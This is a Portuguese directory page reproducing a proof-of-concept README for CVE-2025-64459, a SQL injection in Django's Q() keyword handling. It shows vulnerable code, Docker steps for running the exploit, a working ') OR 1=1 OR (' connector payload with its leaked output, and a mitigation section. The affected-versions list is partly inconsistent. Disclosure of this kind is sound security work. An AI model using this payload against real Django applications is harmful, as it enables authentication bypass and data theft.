Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/0xcyberstan/cve-2025-64459-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHub0xcyberstan/cve-2025-64459-poc

CVE-2025-64459-Poc

Vulnerabilidade: Injeção SQL via QuerySet e desempacotamento de argumento de palavra-chave Q(). CVE ID: CVE-2025-64459 Severidade: Crítica (CVSS 9.1) Versões Afetadas: Django 5.1 < 5.1.14, 4.2 < 4.2.26, e 5.2 < 5.2.8. Pesquisador: Cyberstan (Universidade de Warwick)

Ver Repositório
2110há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-64459: PoC de Injeção SQL no ORM do Django

Severity CVSS Django

Vulnerabilidade: Injeção SQL via QuerySet e desempacotamento de argumentos de palavra‑chave de Q(). ID CVE: CVE-2025-64459 Descoberto por: Eu (Cyberstan) Data de Divulgação: 5 de novembro de 2025


🚨 Resumo Executivo

Este repositório contém uma Prova de Conceito (PoC) Dockerizada que demonstra uma vulnerabilidade crítica de Injeção SQL no ORM do Django.

A vulnerabilidade reside na forma como o objeto Q trata os argumentos de palavra‑chave durante a instanciação. Especificamente, o atributo interno _connector não é devidamente higienizado quando passado via desempacotamento de dicionário (por exemplo, Q(**user_input)). Isso permite que um atacante remoto injete lógica SQL arbitrária na cláusula WHERE de uma consulta ao banco de dados, possibilitando bypass de autenticação, exfiltração de dados e escalada de privilégios.

Versões Afetadas

  • Django 5.1: Versões < 5.1.14
  • Django 5.0: Versões < 5.2.8
  • Django 4.2: Versões < 4.2.26

⚙️ Análise Técnica

A Causa Raiz

A vulnerabilidade está em django.db.models.sql.where.WhereNode. O método as_sql, responsável por compilar a cláusula SQL WHERE, utiliza formatação de string insegura para inserir o conector da consulta (AND/OR).

Embora o conector normalmente assuma os valores "AND" ou "OR", o Django permite que ele seja substituído através do argumento de palavra‑chave _connector no construtor do objeto Q.

# Lógica vulnerável simplificada em django/db/models/sql/where.py
def as_sql(self, compiler, connection):
    # ...
    # O atributo self.connector é injetado diretamente sem validação
    conn = ' %s ' % self.connector
    # ...

O Vetor de Ataque

A vulnerabilidade é desencadeada quando os desenvolvedores usam desempacotamento de dicionário para construir filtros a partir de entrada do usuário – um padrão comum em APIs de busca.

Padrão de Código Vulnerável:

# O atacante controla as chaves e valores de 'filters'
filters = request.GET.dict() 
query = Q(**filters)  # <--- PONTO VULNERÁVEL
results = User.objects.filter(query)

Se um atacante incluir _connector como chave em sua entrada, poderá manipular a estrutura SQL.


🛠️ Passos para Reprodução

Esta PoC utiliza Docker para garantir um ambiente consistente e isolado contendo a versão vulnerável do Django (5.1).

Pré‑requisitos

  • Docker
  • Docker Compose

1. Clonar o Repositório

git clone https://github.com/stanly363/CVE-2025-64459-PoC.git
cd CVE-2025-64459-PoC

2. Executar o Exploit

Execute o comando a seguir para construir o ambiente e executar o script de ataque:

docker-compose up --build

3. Analisar a Saída

O contêiner executará um script Python (poc.py) que simula um endpoint de aplicação vulnerável.

  1. Cria dois usuários: alice (padrão) e root (admin).
  2. Simula uma requisição de busca contendo o payload malicioso _connector.
  3. Exibe o SQL bruto resultante e as linhas do banco de dados vazadas.

Saída de Exploit Bem‑Sucedido:

Simulating malicious user payload:
{'is_admin': False, 'username': 'nonexistent_user', '_connector': ') OR 1=1 OR ('}
----------------------------------------
Generated SQL:
SELECT ... FROM "webapp_user" WHERE (NOT "webapp_user"."is_admin" ) OR 1=1 OR ( ... )
----------------------------------------
[+] SUCESSO: Filtro bypassado via desempacotamento de dicionário! Usuário admin exposto.

🛡️ Correção

Atualização Imediata

Atualize o Django para a versão de segurança mais recente imediatamente.

  • pip install Django==5.1.14 (ou versão correspondente)

A correção introduz validação rigorosa em WhereNode, garantindo que o connector seja sempre igual a AND ou OR.

Higiene de Código / Solução Alternativa

Se não for possível atualizar imediatamente, audite sua base de código para usos de Q(**kwargs) ou filter(**kwargs). Certifique‑se de que o dicionário passado a esses métodos nunca contenha chaves brutas controladas pelo usuário.

Padrão Seguro:

# Explicitamente autorizar campos permitidos
allowed_filters = {'username', 'email', 'is_active'}
clean_filters = {k: v for k, v in request.GET.items() if k in allowed_filters}

# Agora é seguro desempacotar
User.objects.filter(**clean_filters)

⚠️ Aviso Legal

Este repositório é apenas para fins educacionais e de pesquisa em segurança.

O código fornecido cria um ambiente vulnerável para demonstrar uma falha de segurança específica. Nunca deve ser executado em ambiente de produção. O autor (Cyberstan) não se responsabiliza pelo uso indevido desta informação. Testar este exploit contra sistemas sem autorização explícita é ilegal.

Baixar ferramenta